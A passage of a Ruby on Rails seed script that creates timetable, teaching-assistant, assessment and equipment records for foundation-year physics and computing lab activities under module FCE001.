user_id: 2)\n at537 = ActivityTimetable.where(activity_id: a537.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a537.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a537.id).first_or_create!(criteria: \"experience of Matlab Graphing\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a537.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a537.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a537.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a538 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode17\").first_or_create!(name: \"Youngs Modulus\",\n name_abrv: \"FY-YM\", archived: false, in_drive: false, user_id: 2)\n at538 = ActivityTimetable.where(activity_id: a538.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a538.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a538.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a538.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a538.id).first_or_create!(cost_per_student: nil, equip_needed: \"Schimadzu + samples, micrometers, rules\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a538.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a539 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode18\").first_or_create!(name: \"Balancing Forces\",\n name_abrv: \"FY-BALFORCE\", archived: false, in_drive: false, user_id: 5)\n at539 = ActivityTimetable.where(activity_id: a539.id).first_or_create!(duration: 75, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a539.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a539.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a539.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a539.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gunt frames, chains, spring gauges, 2kg mass, 1m rule\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a539.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a540 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode19\").first_or_create!(name: \"EMF & Ohms\",\n name_abrv: \"EMF & OHM\", archived: false, in_drive: false, user_id: 4)\n at540 = ActivityTimetable.where(activity_id: a540.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a540.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a540.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure current and voltage for a simple DC circuit\n Help students to use power supplies and multimeters and record measurements\n Troubleshoot student circuit construction on breadboards\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a540.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a540.id).first_or_create!(cost_per_student: nil, equip_needed: \"AA battery, resistors, DVM\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a540.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a541 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode20\").first_or_create!(name: \"Resistivity\",\n name_abrv: \"RESIST\", archived: false, in_drive: false, user_id: 2)\n at541 = ActivityTimetable.where(activity_id: a541.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a541.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a541.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the resistivity of two different types of wire (constantan and nichrome)\n Troubleshoot student circuit construction and help record measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a541.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a541.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, wound wire boards, DVM, rule, micrometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a541.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a542 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode21\").first_or_create!(name: \"Capacitance\",\n name_abrv: \"CAPS\", archived: false, in_drive: false, user_id: 5)\n at542 = ActivityTimetable.where(activity_id: a542.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a542.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a542.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the discharge characteristics of a capacitor\n Troubleshoot student circuit construction and advise on data colleciton and recording\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a542.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a542.id).first_or_create!(cost_per_student: nil, equip_needed: \"PSU, capacitor, breadboard, jump wires, DVM, stop watch\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a542.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a543 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode22\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TRANS_FY\", archived: false, in_drive: false, user_id: 2)\n at543 = ActivityTimetable.where(activity_id: a543.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a543.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a543.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students verify the turns ratio of a transformer through experimental measurement\n Assist students setting up simple transformer circuits and making voltage measurements\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a543.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a543.id).first_or_create!(cost_per_student: nil, equip_needed: \"DVM, MSO, Sig Gen, Transformer boards, cables\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a543.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a544 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode23\").first_or_create!(name: \"Hookes Law\",\n name_abrv: \"FY-HOOKE\", archived: false, in_drive: false, user_id: 1)\n at544 = ActivityTimetable.where(activity_id: a544.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at544.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a544.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a544.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a544.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a544.id).first_or_create!(cost_per_student: nil, equip_needed: \"Retort stands, springs, 1N mass, vernier calipers, weighing scales\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a544.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a545 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode24\").first_or_create!(name: \"Specific Heat Capacity\",\n name_abrv: \"FY-SHC\", archived: false, in_drive: false, user_id: 2)\n at545 = ActivityTimetable.where(activity_id: a545.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at545.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a545.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a545.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a545.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a545.id).first_or_create!(cost_per_student: nil, equip_needed: \"metal blocks, beakers, water baths, vernier calipers, thermometers, stop watch, water jugs\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a545.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a546 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode25\").first_or_create!(name: \"Charles Law\",\n name_abrv: \"FY-CHARLES\", archived: false, in_drive: false, user_id: 3)\n at546 = ActivityTimetable.where(activity_id: a546.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at546.id, room_id: $room_ml.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a546.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a546.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a546.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a546.id).first_or_create!(cost_per_student: nil, equip_needed: \"Gas theremometers, boiling tubes, retort, theremocouple, water baths\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a546.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a547 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode26\").first_or_create!(name: \"Functional Programming\",\n name_abrv: \"FPROG\", archived: false, in_drive: false, user_id: 4)\n at547 = ActivityTimetable.where(activity_id: a547.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a547.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a547.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a547.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a547.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a547.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a548 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode27\").first_or_create!(name: \"Boolean\",\n name_abrv: \"BOOL\", archived: false, in_drive: false, user_id: 4)\n at548 = ActivityTimetable.where(activity_id: a548.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a548.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a548.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a548.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a548.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a548.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a549 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode28\").first_or_create!(name: \"Complexity\",\n name_abrv: \"COMPLEX\", archived: false, in_drive: false, user_id: 1)\n at549 = ActivityTimetable.where(activity_id: a549.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a549.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a549.id).first_or_create!(criteria: \"Must know Haskell\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a549.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a549.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a549.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a550 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode29\").first_or_create!(name: \"Refraction\",\n name_abrv: \"REFRACT\", archived: false, in_drive: false, user_id: 2)\n at550 = ActivityTimetable.where(activity_id: a550.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at550.id, room_id: $room_sd.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a550.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a550.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students measure the refractive index of a material using diffraction\n Assist students with calculations considering wavelengths of diffracted light\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a550.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a550.id).first_or_create!(cost_per_student: nil, equip_needed: \"Refraction kit (stores)\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a550.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a551 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode30\").first_or_create!(name: \"Photo Voltaic Cells\",\n name_abrv: \"PVCELLS\", archived: false, in_drive: false, user_id: 2)\n at551 = ActivityTimetable.where(activity_id: a551.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a551.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a551.id).first_or_create!(criteria: \"Must have A level Physics or equivalent\n Must be familiar with basic electronics workbench equipment (multimeter, power supply etc.)\",\n job_desc:\"Help students to measure the current and voltage produced by a photo-voltaic cell\n Troubleshoot students' circuit construction\n Remind students how to perform calculations of electrical power and how to determine the maximum power operating point of the cell\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a551.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a551.id).first_or_create!(cost_per_student: nil, equip_needed: \"PV cells, DVM, lamp, PSU\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a551.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a552 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode31\").first_or_create!(name: \"Matlab\",\n name_abrv: \"MATLAB\", archived: false, in_drive: false, user_id: 1)\n at552 = ActivityTimetable.where(activity_id: a552.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a552.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a552.id).first_or_create!(criteria: \"Experience of Matlab Programming\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a552.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a552.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a552.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a553 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode32\").first_or_create!(name: \"Galileo\",\n name_abrv: \"GALILEO\", archived: true, in_drive: false, user_id: 4)\n at553 = ActivityTimetable.where(activity_id: a553.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at553.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a553.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a553.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a553.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a553.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a553.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a554 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode33\").first_or_create!(name: \"LED Lab (blue)\",\n name_abrv: \"BLUELED\", archived: false, in_drive: false, user_id: 1)\n at554 = ActivityTimetable.where(activity_id: a554.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a554.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a554.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a554.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a554.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a554.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a555 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST\").first_or_create!(name: \"Torrell Test\",\n name_abrv: \"test\", archived: false, in_drive: false, user_id: 5)\n at555 = ActivityTimetable.where(activity_id: a555.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a555.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a555.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a555.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a555.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a556 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST.\").first_or_create!(name: \"Torrell Test2\",\n name_abrv: \"FCE001\", archived: false, in_drive: false, user_id: 1)\n at556 = ActivityTimetable.where(activity_id: a556.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: 